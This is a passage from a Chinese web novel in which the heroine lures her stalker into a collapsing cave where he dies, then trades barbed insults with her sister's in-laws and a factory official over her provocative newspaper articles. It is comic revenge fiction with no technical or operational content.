放在自行车车筐里,然后骑上车子往城南郊区而去。她先往南骑了一会儿,看看四周无人,立即掉头向北,她骑得很慢,她知道刘卫国一定会跟来的。 刘卫国最近几天一直在盯着宋知南的动向,见她独自出门立即就跟了上来。 刘卫国不想步父亲的后尘成为杀人犯,他不打算杀死宋知南,他想找机会把她弄到手,宋知南碍于名声肯定会不得不嫁给他,然后他娶回家再慢慢折磨她。她不是厉害吗?不是嘴贱吗?越是这样的女人折磨起来越带劲。刘卫国的心里涌出一股隐秘的躁动和兴奋, 他觉得他又活过来了。 宋知南引着刘卫国进了一片小树林, 七拐八拐地就到了一座山坡前, 她把自行车放在旁边的草丛里,草丛盖住车身, 只露出一点, 不仔细看根本发不了。她自己闪身进了空间。静静地等着刘卫国跟上来。 这几天,刘卫国在盯梢,宋知南也没闲着。她一直在想着怎么反杀刘卫国。 她按照结果倒推剧情,知道霍峥嵘的小弟们最后在一个山洞里发现了宝藏。但这个寻宝过程并不是一帆风顺的,其中一次赶上山洞里的石头落下来砸伤了几个人,最后他们在江茶的提示下找对了地方。 宋知南为此还特意看了地图,把附近的地形分析一遍, 最后还求助了系统帮忙,查对具体日期和细节。 系统起初不想帮忙, 说她不想干涉剧情发展。 宋知南骂道:“你说不干涉就不干涉了?你让我穿越过来就已经是干涉了。我要不是为了杠精值也不会见人就杠,不杠别人就不会得罪这么多人,现在我遇到危险你就撒手不管了,你可不能像个男人似的,遇到事就躲。” 系统觉得宋知南骂人太脏了,好好地干吗骂她像个男人? 系统不情不愿地答应帮忙,告诉了宋知南具体的细节:“霍峥嵘的小弟们王左陈青他们出事的那座山洞就在城北。按照原书中写的时间线就在这个星期天,按照剧情推测应该是上午。” 宋知南按细节写在纸上,开始制定计划:得在星期天上午把刘卫国引到山洞里。 刘卫国最近一直在跟踪她,她要出门,对方肯定会跟来。先试试这个计划,如果不成功,她就再换一套计划。 这次的主要目的是把刘卫国引进来凑个数,不死也受个重伤,顺便也王左陈青他们让这帮人成为刘卫国“意外死亡或意外受伤”的目击证人。 刘卫国在四处寻找宋知南,忽然看见山洞口有个人影一闪,他想也不想便跟着进了山洞,谁知他进入山洞就顿感不妙,上面一个石头松动了,刘卫国大喊一声:“妈呀。” 他吓得屁滚尿流,双手抱着头翻滚到一边,大石头砸在了他的腿上,顿时血流如注。大石头后面还有碎石,其中有几块石头砸到了他的大腿根部,某个不可说的部分钻心地疼。刘卫国此时的担心压过了疼痛,他、他该不会被砸得真不能人道了吧? 这一通变故,把山洞里的其他人也吓得够呛,他们争先恐后地往外跑,跑在最前面的王左和陈青也受伤了,两人被其他人背出来,他们经过刘卫国身边时,这伙人以为他也是来寻宝的,对他充满了警惕和戒备。 刘卫国绝望地喊道:“求求你们救救我,我定有重谢。” 这些人急着送同伴去医院,只是随口敷衍他一句:“你等着吧,我们一会儿叫人来抬你。”就走了。 刘卫国恨恨地骂了一句,忍着钻心地疼痛,用力推开石头,想慢慢地往外爬出去,他的大腿在流血,身上也受了伤,这儿离有人的地方还有很远,等他爬出去,血也快流干了。 刘卫国突然想起消失在山洞附近的宋知南,他心里恨不得把宋知南碎尸万段,为了活命,他还是装起了可怜:“宋知南,你救救我,我快要死了。只要你救我,我就原谅你,再不也找你的麻烦。” 刘卫国的可怜还没装完,又是一阵碎石砸落下来,有一块尖锐的石头正好砸到了他的额头上,他疼得昏了过去。 山洞里是死一般的安静。 在通往城南的一条大路上,宋知南正在飞快地蹬着车子。路上碰见认识的她都热情地打招呼。 “大爷,干吗去呀?走亲戚呀?我也是,我去城南的大姐家。” “大妈,你挖野菜去了。真不错,下回我也去挖,今天是没空了,我去我大姐家。” …… 路上,她停了两次,一次是在修车摊上给自行车打气,一次是跟住在路边的一个户人家要水喝,还顺手给了他们家的小女孩一块饼干。 王左和陈青被同伴送到医院又是止血又是包扎伤口,等一切折腾处理完毕,他们才突然想起好像有件事还没办。对了,现场还有一个叫刘卫国的也被砸伤了。 他们跟刘卫国没什么交情,仅仅是认识而已,而且他也好像也在寻宝,自然是他们的竞争对手。这几人不太想帮他,但又怕刘卫国自己回来了,到处宣扬他们见死不救。 他们又想到刘富贵在公安局,刘家也没其他人,于是,便托人告诉了刘卫国的表哥陈安华一声。陈安华正好有事忙着,他以为刘卫国是碰伤擦伤应该不太严重,也没太放在心上。 上午11点半,宋知南到了大姐宋知春家。 经过这一路的平复,宋知南的情绪早已经稳定下来。 她这人没什么安全感,有一段时间,女性被害恶性新闻频发,她时不时地假设自己遇到这种事该怎么办?不反抗等死不可能,哪怕最后被判为防卫过当,哪怕跟敌人同归于尽,她也必须要反抗,弄死一个算一个。大不了,她进去踩缝纫机再就业。这样,孔乙己的长衫不用脱下,她换上了蓝色条纹衫。人生不过是一场体验而已,怎样的体验都是体验。 宋知南将这些情形在脑中模拟了千百遍,连能用的工具也想好了,甚至连在法庭上的总结陈词她都打好了腹稿。她还想过怎么处理血迹和现场,每月来例假时,她都当作是在处理现场血迹。由于演练得次数太多,当事情真的发生时,她就当在演练一样,没有太多实感。 宋知南站在大姐家的院子外面,深呼吸一口新鲜口气,在心中默默说道:“游戏结束,回到现实世界。” 她清清嗓子推开半掩的院门,喊道:“大姐在家吗?” 宋知春正在井边洗衣裳,她看到宋知南来了,先是一愣,赶紧擦干手,起身迎接。 “小南,你怎么有空来了?” 宋知春虽然已经跟婆婆分家了,但她跟婆婆和几个妯娌仍同住一个院子里,大家相处得不太和睦。她婆婆牛菊花嘴碎管得多,每当娘家来人时,她那一双利眼就一直盯着,生怕儿媳妇往娘家拿东西。她那些妯娌也总是阴阳怪气地挤兑人。时间一长,宋家人就不怎么爱来走亲戚,尤其是宋知南的性子有些倔,来得更少。 宋知南把自行车车筐里的东西拿出来,说:“上次你回去,我正忙着办联谊会,没见着你。正好今天没什么事,就过来看看你们。” 宋知春说:“你来就来了,还买什么东西。” 宋知南把东西提进屋放在桌上:“就买了一些零食给两个孩子吃。” 她看了一眼屋里,问道:“俩孩子不在家?” “他们两个去姑姑家了。” 宋知春给妹妹倒了一碗温水,还特意加了点白糖。洗了几个梨放在桌上招呼她吃。 宋知春打量着宋知南的脸色,欣慰地说:“你胖了,瞧着气色好多了,还是有工作好。” 宋知南说:“那是,工作才是女人最好的保养品。” 宋知春觉得这话有点意思就笑了一下,她接着试探道:“我上次回去,妈拉着我哭了半天,你跟爸妈又闹别扭了?” 宋知南不在意地说:“闹别扭那不是很正常吗?咱妈哪回见到你不哭?” 宋知春说:“可是她这次哭得更厉害,还说你不懂事,爸也说你变了。” 爸妈的原话更难听更刺耳,宋知春怕妹妹伤心,就没敢原话复述。 宋知南知道自己在宋上进两口子嘴里是什么形象,坦白地说,她一点都不在乎。 既然对方抹黑她的形象,她也不会客气,不然要嘴干什么?难道只用来吃饭吗? 宋知南趁机给宋知春播种革命的种子,管不管用另说。 她深深地叹了口气,开始表演起来:“大姐,想必你也知道了,爸妈不舍得让他们那十八岁的好大儿下乡,非要让我这个十五岁的女儿下乡,乡下什么情形不用我说你也能猜出来。我知道他们偏心,但偏到这种程度我也是少见。他们说我不懂事,不过是因为我没有朝着他们希望的方向发展而已,他们希望的方向是什么呢?就是我继续无怨无悔地当丫鬟当奴隶,打不还手骂不还口,心甘情愿地被他们的儿子吸血一辈子,请问这是亲生父母吗?这是奴隶主吧?” 宋知春赶紧劝道:“不至于不至于,爸妈虽然偏心,但不至于到这种地步。” 宋知南觉着这个大姐被洗脑得更彻底,她也不想废话了,就问了一句:“大姐我就问你一个问题,你也有儿有女,你会把所有的好东西都给儿子,让女儿吃差的用差的住破屋还天天干活吗?” 宋知春一时接不上话来,她当然不会这样对待自己的女儿。 宋知南循循善诱:“大家都说养儿才知父母恩,我想说的是养女才知父母有多偏心。想想你怎么对待你的女儿,再想想父母是怎么对待你的,你就知道他们有多狠心。你也别说他们是第一次当父母什么也不懂。怎么,难道你自己是第二次当父母?当父母其实没什么特别的,只要他们会当个人就会当个正常的父母,可是咱们爸妈是正常人吗?” 宋知春面带惊诧,随即赶紧制止:“三妹,你不能这样说爸妈。” 宋知南:“我这人就是爱说实话。我说他们是为了他们好。我要不说,他们就不知道自己做人有多失败,以后还怎么进步?” 宋知春:“……” 半晌之后,她幽幽叹道:“三妹,你确实变了很多。” 宋知南:“我再不变就活不下去了。” 两人聊了一会儿,宋知春去院里飞快地把盆里的衣裳洗完,宋知南去帮她晾衣服,宋知春则去准备午饭。 正好家里有一块豆腐,她拨开炉子,用平底锅把豆腐煎得两面金黄,切了一块咸肉放在锅里煎出油,添了水放入白菜粉条豆腐一起小火慢炖,等菜炖得差不多了,她炒了个韭菜鸡蛋,拍个黄瓜,午饭就齐活了。 宋知春正在忙活着,宋知春的婆婆牛菊花、大嫂王青玲拎着菜回来了。 牛菊花五十来岁,长脸高颧骨薄嘴唇,一副尖酸刻薄相。她一吸鼻子就闻到了肉味和鸡蛋味,当下便拉着脸不满地说:“知春,今天我孙子和儿子都不在家,你随便凑合一顿得了,干吗这么浪费?” 王青玲阴阳怪气地说:“妈,你没看见人家娘家来人了吗?你又不是不知道,二弟妹对她娘家人总是很舍得。” 宋知春听到婆婆和大嫂的对话,不禁眉头紧蹙,她放下锅铲出来,对婆婆说:“娘,我三妹来了,家里有客人,我总不得让她吃剩饭吧?说出去丢的可是咱们家的脸。” 接着,她又对王青玲说:“大嫂,你也别搁那儿阴阳怪气的。谁家没亲戚?难道你娘家亲人来了,你让人家喝西北风?” 王青玲假模假样地道歉:“二弟妹,你瞧我,我这人就是心直口快,有啥说啥。你要不爱听,我以后就憋着不说了。” 宋知春一口气憋在胸口,怒也不是,不怒也不是。 宋知南这时冲王青玲开口了:“你说你肠子直也不能直接用嘴拉吧?这都要吃午饭了,你直接喷出一肠子脏东西,搁谁谁受得了?” 牛菊花和王青玲:“……” 杠精系统:杠精值加5。 宋知春也没想到妹妹的嘴这么犀利,一句话把人气了个倒仰。 她笑着顺着宋知南的话说:“哎呀,大嫂,我妹妹年纪小说话直,你别放在心上。” 王青玲反应过来,气得直跳脚:“哎哟歪,你是小南吧?你也是个大姑娘了,嘴这么厉害,小心以后没人敢要。” 宋知南特别反感这句话,当下立即回击道:“哎哟歪,你有人要,你天天都被人要,被很多人同时要,怎么着,这样你总满足了吧?省得你三句话总离不开男人。” 杠精值加5。 30-40 第31章 宋知南的这番话一出来, 王青玲彻底崩不住了,气得五官扭曲, 说话都不利落了,她想不出新鲜的骂词,只能像鹦鹉一样学着宋知南说话,“你才被很多人要!” 宋知南语气平淡:“你这是打自己的脸呢,刚刚说我没人要,现在又改口,还跟我学。你打完自己脸,打烂了就把脸扔了。哎哟,你好可怜,你都没脸了。” 眼看着大儿媳妇一败涂地,牛菊花坐不住了, 也开始下场替王青玲说话:“她小姨, 你今天不是专门走亲戚的, 倒像是专门来吵架的。” 宋知南笑着说:“我说牛大娘,咱说话要凭良心, 我本来只是走个亲戚。倒是你们, 亲戚一来就挤兑,你要不想让我们上门就直说。你们这样子就像是一只脚踏在阴间一只脚踏阳间,一家子都阴阳怪气的。我脸皮薄可受不了。” 牛菊花诧异道:“你还脸皮薄?” 宋知南走过去摸摸牛菊花的脸皮:“薄不薄,比比就知道。我的天呐,你的脸皮咋那么厚?果然姜是老的辣,皮也是老的厚。” 杠精值加5。 宋知南的话音一落,院子外面传来了一阵欢快的笑声, 这是邻居们听到动静来看热闹了。 牛菊花一听邻居们来了,表演欲也上来了, 她的声音都变温和了,“他小姨,我听说你都当上妇联的干事了,咋地,工作没让你成长啊,说话还是这么难听?你们领导没教教你?” 宋知南面带微笑:“牛大娘,我们妇联就是会时不时的接待像你这样不讲理、还会变脸的婆婆,我就是这么成长的呀。大娘我跟你说,我工作这么久,摸过很多人的脸皮,就数你的最厚最结实。牛大娘你不愧姓牛,这皮也像牛皮一样结实。” 牛菊花:“……” 杠精值加5。 牛菊花快装不下去,声调都忍不住拔高了:“宋知南,你今天是专门上门来骂人的?是不是你姐跟你说我的坏话了,让你这个妹妹给她出气来了?” 宋知春正要开口说话,王青玲在旁边大声接道:“可不是嘛,二弟妹可真孝顺呀。” 宋知南提高嗓门:“哎哟牛大娘你这话就不对了,你的坏话还用我姐说吗?这方圆几十里谁个没听说过?大家都说你牛大娘就像牛魔王,谁看了谁紧张。你老身上长了个牛尾巴,一甩就老长,天天甩完东家甩西家,就数你管得多。” “哈哈哈。”院外的邻居再也忍不住,放声大笑。 还有人觉得光听不过瘾,就悄悄推开了院门,瞻仰一下骂人的宋知南究竟长啥样。一看这长相,就更惊讶了,这姑娘瞧着不像个彪悍的呀。 牛大娘被宋知南这么当众嘲讽,觉得老脸都挂不住了,索性往地上一坐,抱着脚嚎啕大哭。 她要让所有人都知道这个二媳妇和她妹妹逼得老人家放声大哭,看她们还要不要名声了。 宋知南转身就去推自行车,作势要走:“行啦行啦,牛大娘,我明白你的意思了,你就是不想让我吃你们家的饭呗。我走我走,我们以后再也不敢来了。我要告诉你家所有的亲戚,千万别来你家。我看你们家的脸往哪儿搁。” 众人面面相觑,很快有人就过来劝,有的来劝牛菊花,有的来劝宋知南。 宋知春也赶紧表演,抓住宋知南的自行车不让她走:“三妹,你别走,你要是走了,以后我也没脸回娘家了。我的亲妹子好久不来,来时大包小包的,结果连一口饭都吃不上,还挨了骂。以后我这个当姐姐的脸往哪儿搁?别人怎么看我?娘家人怎么看我?我到底是嫁给了吴家还是卖给了吴家?” 众人议论纷纷。 有的说:“这个牛大娘做事确实不地道,人家娘家来亲戚她就闹,这是不给儿媳妇一点脸面。” “她这人就是这样。” 宋知南一看风向朝姐姐这边吹了,就全力配合她,拉着宋知春的手说:“大姐,你老说我们不爱来你们家,我们不是不想来,就是怕你婆婆妯娌说嘴。上次,也就是去年我来你家,你婆婆当着我们的面摔摔打打的,说谁家都不容易,哪容得下吃白饭的亲戚,我回家后哭了三天。上上次二姐来,听说你妯娌在骂你,骂你不如她会生崽,她一口气下了三窝儿子。 我一听就更着急了,姐啊,你的命真苦,你说你怎么能比得上你那妯娌,人家以下崽为荣,啥样的动物以下崽为荣呢?那当然是猪啊老鼠蟑螂啊,你说你好好的一个人,哪能在这方面跟人家比?” 杠精值加10。 被内涵到的王青玲气得脸色铁青,宋知春差点没崩住笑出声来。 围观的邻居可不用崩,一个个纵然大笑,有人捂住肚子笑,有人蹲下笑。 宋知南在一片笑声中,继续表演,装作非要走的模样,宋知春拉着不让她走。 王青玲这会儿也反应过来,冲上来找场子:“姓宋的,你骂谁像猪呢?” 宋知南看到她吓得后退两步:“咱俩不是一个物种,你别过来,我害怕。” 杠精值加5。 王青玲歇斯底里地狂吼:“你是猪,你们全家都是猪!” 宋知南弹弹衣裳:“她这是疯了?怎么变得跟疯狗似的。” 王青玲疯了,牛菊花也快了。 跟宋知春关系好的邻居杜小梅赶紧把姐妹两人拉到自己家里,宋知春说今天就在她家吃饭,直接回去把做好的饭菜端到杜小梅家。 杜小梅好声劝宋知春:“你婆婆那人谁不知道?你别生气,今天你妹妹来,本来是件该高兴的事,不能被那个老货搅合了。我再去炒个菜,正好孩子爸不在家,咱们几个好好聊聊。” 杜小梅去炒了两个素菜,还拿出自己酿的米酒,给每人倒了一小碗。 三个女人喝酒吃菜闲聊。 杜小梅听说宋知南去了妇联工作也很感兴趣地多问了几句。 宋知南喝了一口米酒润润嗓子,清声说道:“我们妇联负责的就是调解家庭矛盾,像牛菊花和王青玲这样的人多的是,还有很多不要脸的男人。我就负责天天给他们讲道理。” 她就随便讲了王小雪和魏芬那两个案例,引得两人频频赞叹。 宋知春感慨道:“小四,没想到你进步这么大。” 宋知南:“嗐,其实我的潜力挺大的,但是谁让我在家里受忽视呢。我一参加工作就如鱼回大海。” 他们吃完饭正坐着闲聊,其他大嫂大娘们闻风也来杜小梅家串门。 杜小梅自然是热情招待她们。 大家你一言我一句地安慰宋知春。 “知春,你别生气,气坏了自个儿不值当。” “小南是吧,你的口才可真好。” “听说你是妇联干事,厉害呀。不像我们连个工作都没有。你们妇联还招人不?” …… 宋知南对待跟自己没有敌意的人态度十分和煦:“啥口才不口才的,主要是责任感使然,我的工作就是教一些不讲道理的婆婆、不明是非的妯娌、不负责不要脸的男人们做人。今天不是刚好遇到了吗?就顺嘴那么一说。” 宋知南接着进一步深入分析牛菊花和王青玲:“这个牛大娘总爱管儿子儿媳妇甚至邻居家,深层原因一是精神空虚,没有革命知识理论填充她的内心世界;二是封建思想严重,外面的四旧破除了,她心里的四旧还在;三是她没有革命自觉性,1949年那一声炮响,领袖喊中国人民站起来了,我们妇女同志也站起来了,唯独牛菊花那类人不肯站起来,她不但自己不站起来,还拉着别人不让站,谁站她骂谁。” 众人震惊且佩服。 宋知南分析完牛菊花接着分析王青玲:“这个王青玲更可惜更可怜,你说牛大娘年纪大,学习能力不行站不起来也就罢了,她年纪轻轻的也就三十来岁,她倒好,她倒退得更厉害。她直接退化到低等动物了。做为一个人,一个女人,她不跟别人比思想比觉悟比工作贡献甚至不比人品性格,直接比生孩子。以生儿子多为荣,那是人应该比的吗?不是猪们蟑螂老鼠们比的吗?你说她明明长了脑子等全套人类器官,却只跟动物比肚皮,真是可怜可叹可悲呀。” 大家面面相觑,突然有人噗嗤一声笑了出来,最后是大家笑作一团。 她们知道,从今天开始,牛菊花和王青玲会在这一带彻底出名。 这有能耐的人就是厉害,骂人不带脏字还这么狠。 饭吃完了,酒也喝完了,天也聊得差不多了,宋知南眼看着时间不早,就起身告辞。 宋知春挽留了一下就送她出门,她回家拎了个大包袱出来,牛菊花的目光都快把包袱戳个洞出来,王青玲欲言又止,最后两人竟然破天荒地什么也没说。 宋知春先是诧异随即了然,这是被骂怕了。 宋知春把包袱往宋知南的自行车筐里一放,说:“之前知夏跟我说,咱家要下乡的是你,我担心你原来的棉袄不够厚,乡下又冷也没法生炉子,就跟人换了棉花给你做了一件棉衣,准备做好了给你寄过去。你现在不用下乡了也不用寄了,正好拿回去。” 宋知南知道这个时代物资匮乏,别说是一件棉衣,就是一件普通的衣裳也需要攒很久的布票。 她知道这个大姐对弟弟妹妹还不错,没想到这么不错,比亲爹亲妈还好。 宋知南想了想就从书包里掏出钱和几张布票要给宋知春,宋知春坚决不要:“这是送给你的,不是卖给你的,你再给我就生气了哈。” 宋知春从小就被父母教育要对弟弟妹妹好,什么长姐如母之类的,这么多年来,她早已习惯了照顾弟弟妹妹。觉得做件衣裳给点零花钱也是应该的。 宋知南秉承的原则是:你对我怎样,我就加倍对你。对她坏,她加倍;对她好,她也想加倍。见宋知春坚决不收钱和布票,她打算先记着,以后再回报吧。 她说了自己住的地方:“我现在跟吴厂长的闺女吴明珠住一起,你下回有空可以带着俩孩子来找我。我在院子里种了菜,等菜长出来我给你送一些过来。” “你厉害呀,还会种菜呢。” 宋知春送了一段路,两人挥手告别,宋知南骑上自行车往回走。 她回到家时已经四点了,一进家属区,就看见大家三五成群地聚集在一起讨论着什么。 第32章 宋知南一回来, 就有热心大妈大爷们跟她搭话。 “你是那个小宋同志吧?” “对对,我是。” “你前几天跟刘卫国发生矛盾了是吧?” 宋知南不解地问道:“哦, 你说的是刘卫国半夜翻邻居墙被我发现了那事吗?” “对,就是那个事。” “咋了大娘,又有啥后续了?我刚从我大姐家回来,什么也不知道。” 大娘看着宋知南,酝酿了一下,接着才放出一个惊天大新闻:“你知道不?那个刘卫国他在后山被石头砸死了!” 宋知南的嘴巴张成圆形,满脸的震惊和不可思议,她不相信地追问一句:“大娘你说的是真的假的?不可能吧?” 大娘受到质疑,赶紧自证:“当然是真的,不信你问问别人,老刘你过来。” 老刘是一个六十多岁精神矍铄的老头, 声音洪亮:“小宋, 你何大娘说的是真的, 还是我告诉她的。我还亲自参与营救刘卫国了,你不知道他有多惨, 被砸得不成样子, 血流了一地……” 宋知南终于接受了这个新闻的真实性,接着又提出了自己的疑惑:“你们说好端端的那个刘卫国去后山干什么?难不成他还能去那里偷东西不成?” 这个刘大爷也表示疑惑:“谁知道这些个小年轻脑子里都在想啥?我跟你说,也不止是刘卫国,还有那谁,陈青和王左也被砸伤了,说是去那里玩砸伤的,又不是小孩子还跑那儿去玩。” 宋知南也跟着感慨:“确实, 他们都是大人了,也不是七八岁的孩子了, 他们该不会去寻找什么宝藏吧?” 宋知南只是顺口一说,刘大爷的双眼中却猛地闪烁着一层智慧的光芒,对啊,寻找宝藏,这才是正确的思路。从这一刻起,福尔摩斯刘开启了他探案断案的后半生。 …… 宋知南回到家里,吴明珠和陆诗月都在。宋知南假装从姐姐家带回了吃的,从系统商城买了几个梨子和石榴分给她们。 宋知南说起关于刘卫国的新闻,“这个刘卫国,我正准备去举报他呢,他自己倒先走一步,老天奶真是开了眼,这下我心里松了一大口气。” 吴明珠和陆诗月也不约而同地在心底暗暗松了一口气,这下她们可以睡个安稳觉了。 老话说得好,有千日做贼的,没有千日防贼的。她们不好直接丢下宋知南一个人,但怕也是真怕。 宋知南由衷地说:“这些日子感谢你们两个陪我度过难关,我没想到你们俩这么讲义气。” 吴明珠拍拍宋知南的肩膀,大气地说:“没事,这是应该的。我听诗月说了,你这人很勇敢,听到敲门声就直接冲出去了。说实话,我都做不到。我顶多是第二天告诉我爸或是保卫科让他们来帮忙。” 陆诗月说:“我更做不到,我都吓得把桌子搬过来顶住门了。” 宋知南笑笑:“其实你们俩做得才是最正确的,遇到危险,能躲就躲,保全自己才最重要。你们想,万一门外不止他一个人呢?万一他有好几个同伙呢?那岂不是更危险了?”两人一听这个推测愈发后怕。 宋知南接着说:“为啥我就敢呢?主要是我有依仗,我力气大,手里有武器,而且咱们周围的邻居很多,我一喊就有人出来查看。”不得不说,大力丸和空间给了她很大的勇气。她可以直接莽,但别的女孩不适合跟她一样。 吴明珠思索片刻,慢慢说道:“知南,我觉得你身上有一种什么来着,我找不到合适的词来形容。” 陆诗月接话:“明珠,你的意思是不是想说,知南自己很强但又不会看不起比她弱的人,她没有身为强者的傲慢。” 吴明珠点头:“对,就是这个意思。” 宋知南笑着说,“不是有句话叫‘当你想批评别人的时候,要想想不是每个人都具备你的优越条件。’” 陆诗月眼睛一亮:“这句话说得真好。” 宋知南接着说:“不是原创,西边来的。” 陆诗月点头表示明白,西边来的就是从西方资本国家翻译来的,现在,除了马克思恩格斯极少部分的书外,大部分书籍都被划分成毒草,要看也得偷偷看,不能光明正大的看。 刘卫国的事让三人的友情进一步升华,从普通朋友跃升为不错的朋友。 刘富贵在看守所,刘卫国的大伯几年前就死了,爷爷奶奶也早已去世。刘卫国的丧事最后是陈安华给办的,办得十分潦草。 刘富贵得知儿子的死讯后,彻底生无可恋,趁看守不注意,把裤子和衣裳撕成布条撕了做成绳子,上吊了,刘家至此团灭。再加上刘家后院埋过刘卫国的妈白凤英的尸体,刘家的房子就成了鬼屋,大家都绕着走。最倒霉的是刘家的邻居,听说他们偷偷地在门上贴了很多符箓辟邪。 刘富贵人没了,宋知南还消费了他一波,她连夜写稿:《我从刘富贵身上领悟到老实人的真相》、《警钟长鸣:找对象一定要避开刘富贵式的男人!》、《白凤英只是犯了很多男人都会犯的错》、《社会在进步,男人要大度》。搞过自媒体的人都知道,要想爆就得追热点。刘富贵是现阶段本地舆论的一大热点,必须得跟上。 宋知南写完稿子,投向本地日报晚报、省报和《妇女报》,这次,她真的踩中了热点,四篇稿子都被采用了。 稿子一经发出,就引起了不少争议。 那两天,宋知南的杠精值连睡觉时都在暴涨,系统播报响个不停。 杠精系统:“宿主强,宿主棒,宿主又杠出了新花样。” 宋知南跟系统沟通:“统子,你看我夜以继日、宵衣旰食、孜孜不倦地努力抬杠写稿,我的脑子能受得了吗?我的身体能扛得住吗?人家隔壁的娇妻系统免费赠送美白丸美容液,你给我什么了?难道我们真的是干得好不如嫁得好吗?我失去信心了。” 杠精系统:“宿主,形势一片大好,不是小好。你要再接再厉。” 宋知南坚持:“别整那些虚的,我需要实质性的鼓励。” 系统犹豫半天,最终抠抠搜搜地给宋知南一颗大力丸和一瓶强身健体饮料。 宋知南接过东西,一边喝饮料一边吐槽:“统子,你一定是男的吧?只有男的才这么抠,不要就不给,要了给得抠抠搜搜不情不愿。” 系统:“宿主你再这么说我跟你急,不要骂我是男人,这就相当于骂龙国人是小日子人,骂得太脏了,本统绝对不能忍。” 宋知南:“你大度点,别跟个男人似的开不起玩笑。” 系统:“……” 宋知南吃了大力丸和强□□,又觉得自己强得可怕。 接下来,她迎来了一阵舆论的暴风雨。 四篇文章同时上报,给宋知南带来了一些名气,但也带来了很多谩骂。 前两篇文章伤害了跟刘富贵一样的“老实”男人,后两篇《白凤英只是犯了很多男人都会犯的错》、《社会在进步,男人要大度》深深地伤害、刺痛了很多男同志们。他们甚至写信给报社,措辞相当激烈,建议严查宋知南这个作者,甚至连她的名字都攻击上了,还叫什么宋知南,干脆叫宋骂男算了。 妇联和工会是一半欢喜一半忧,欢喜的是他们单位的职工出名了,忧的是这名出得还有一半是恶名。 工会和厂委的人坐不住了,连夜商量对策,次日上午,他们就把宋知南叫过去做思想工作。这次主持思想工作的不是胡明亮那种小干事,而是厂委的孙主任。孙主任不苟言笑,说话慢条斯理但又很有压迫感,被谈过话的人都感觉很不好。 贺胜男和何黛听到通知,都不禁为宋知南担心。 宋知南反过来安慰她们两人:“没事。我早就听说孙主任思想进步,为人大度,他肯定不是想批评我,说不定是想表扬我为厂争光。” 两人面带苦笑,欲言又止。 宋知南在各种各样的目光中进了孙主任的办公室。 孙主任四十多岁,穿着灰色干部装,扣子一扣到顶,戴一副黑框眼镜,厚厚的眼镜片也挡不住他那锐利审视的目光。 孙主任尽量显得很和气,指指对面的椅子:“小宋,坐。” 宋知南依言坐下,孙主任打量了一眼宋知南,这小姑娘年纪不大,长得也没什么攻击性,都让人有些怀疑那文章是不是她本人写的了。但他转念一想,来之前,他稍稍调查了一下宋家,宋知南爸妈都是普通工人,哥哥下乡,弟弟还在上学,应该没人替她写,而且有点政治觉悟的文化人也不敢写这么有争议的文章。文章应该就是宋知南本人所写,但她到底年轻气盛,不知道里面的门道有多深。 孙主任慢慢地开了口:“小宋,你的文章我都看了,写得非常不错,但就是思想有些过于尖锐了。听说有很多男同志直接写信给报社,措辞相当激烈,这事你也知道了吧?” 宋知南义正词严:“孙主任,我是听说了,但我不信。我爸我爷我老师经常在我耳边说,男人都大度,男人肚子里能撑船,额头上能跑马,勾践能尝粪,韩信能钻裆,他们多大的委屈都受得了。我不过就是写了篇文章而已,啥也没说,他们不至于反应这么激烈吧?这一定不是咱们无产阶级的男同志干的!” 一向滔滔不绝、口若悬河的孙主任被噎住了。 这话要怎么接? 杠精系统:杠精值加60。 过了一会儿,孙主任清清嗓子,面带微笑地问:“那你的意思是,写信的是女同志?” 宋知南头摇得像拨浪鼓:“那更不可能,我们女同志干不出这样的事。我觉得是隐藏在人民内部的阶级敌人和敌特干的,他们就是见不得咱们形势一片大好,见不得咱们安定团结的大好局面才想搞破坏。” 第33章 孙主任表示不赞同这个思路:“我觉得不至于吧?” 宋知南义正词严地说:“孙主任, 反正我觉得咱们无产阶级的男同志们不会这么小心眼的,他们一定会分辨出我写这篇文章的目的是为了他们好, 是为了让社会稳定。 你想啊,咱们生活中的很多矛盾是不是因为男人的小心眼引起的?那些打架的斗殴的,那些杀妻的杀人的,多少家庭悲剧因为他们不大度而起?多少社会惨剧因为他们的小心眼而发生?我看在眼里,急在心里,所以才写了那篇文章:社会在进步,男人一定要大度。只有男人大度了,社会才能更进步。我坚持我的观点。当然,你要是不赞同我的观点,那我就按你的意思改成《社会不再进步,男人不要大度》。” 这么一改, 性质都变了, 那还了得? 孙主任急忙否认:“你说的这个根本不是我的意思。” 宋知南粲然一笑:“所以孙主任, 你是赞同我的意见的。我就知道,你是一个有觉悟有见识又大度的男领导, 你跟他们都不一样, 你更不可能站在阶级敌人和敌特的那一边。” 孙主任:“……” 孙主任的脑子飞快地转动着,感觉脑子都变小了。 他呼了一口气,转到另一个话题,“这个话题先放下,那白凤英的事呢?” 宋知南理所当然地说:“俗话说,人死为大,人家白凤英同志都被杀了, 我替她说几句话怎么了?人们不都说浪子回头金不换吗?为啥刘富贵就不能原谅白凤英让她回头呢?她只是犯了生活作风上的小错误而已,但绝对罪不至死吧?要不然公安也不会把刘富贵抓走是不是?” 孙主任变小的脑袋又变大了, 他无奈地说道:“算了,我不跟你扯这么多,我就只有一个要求,这个要求是代表厂委提的,我希望你以后不要再写那些乱七八糟的文章了。”一刀切最简单也最省力。 宋知南腾地一下站起来,语气激动:“孙主任,我写的文章利国利民有利团结,大家都夸我写得好,人民群众喜闻乐见,你为什么要把它们定义为乱七八糟?你知不知道我有多努力?我为了写文章肉都掉了好几斤。我觉得你深深地伤害了我的一颗赤诚的、上进的红心。我不服,坚决不服。” 孙主任赶紧找补:“行行,我用词不当,你别激动,坐下说话。” 宋知南像受到了巨大的伤害,满脸委屈愤怒:“我没写之前不知道原来这也不能那也不能写。算了,以后我封笔不写了。孙主任,你能不能给我开个证明?就写你以后不准我再写作。以后别人问起,我也好有个交代。很多年后,当我回首往事因为碌碌无为而羞耻,因为虚度年华而悔恨,因为没有成为无产阶级作家而深感遗憾时,我就拿起你写的证明告诉自己和别人,当年那个机会不是我自己放弃的,是孙主任你让我放弃的。在我死后,我也要把你的证明刻在我的墓碑上,我要让后人都知道,这里长眠着一个因为领导不同意而放弃梦想的未遂作家。” 孙主任瞪着宋知南不说话,空气都凝固了。 他担得起那么大的责任吗?完全担不起。他辩得过宋知南吗?完全辩不过。他根本弄不明白,对方的脑袋瓜到底是由什么构成的。所以,他为什么要来和宋知南谈话? 孙主任陷入了深深的自我怀疑中,他黑着脸,摆摆手无奈而心累地说:“罢了罢了,随你吧。我可不敢耽误你成为大作家。今天的谈话就此结束,你出去吧。”从来没见过如此难管的职工,如此桀骜不驯的女同志,还成为大作家,他就看她能不能活到以后。 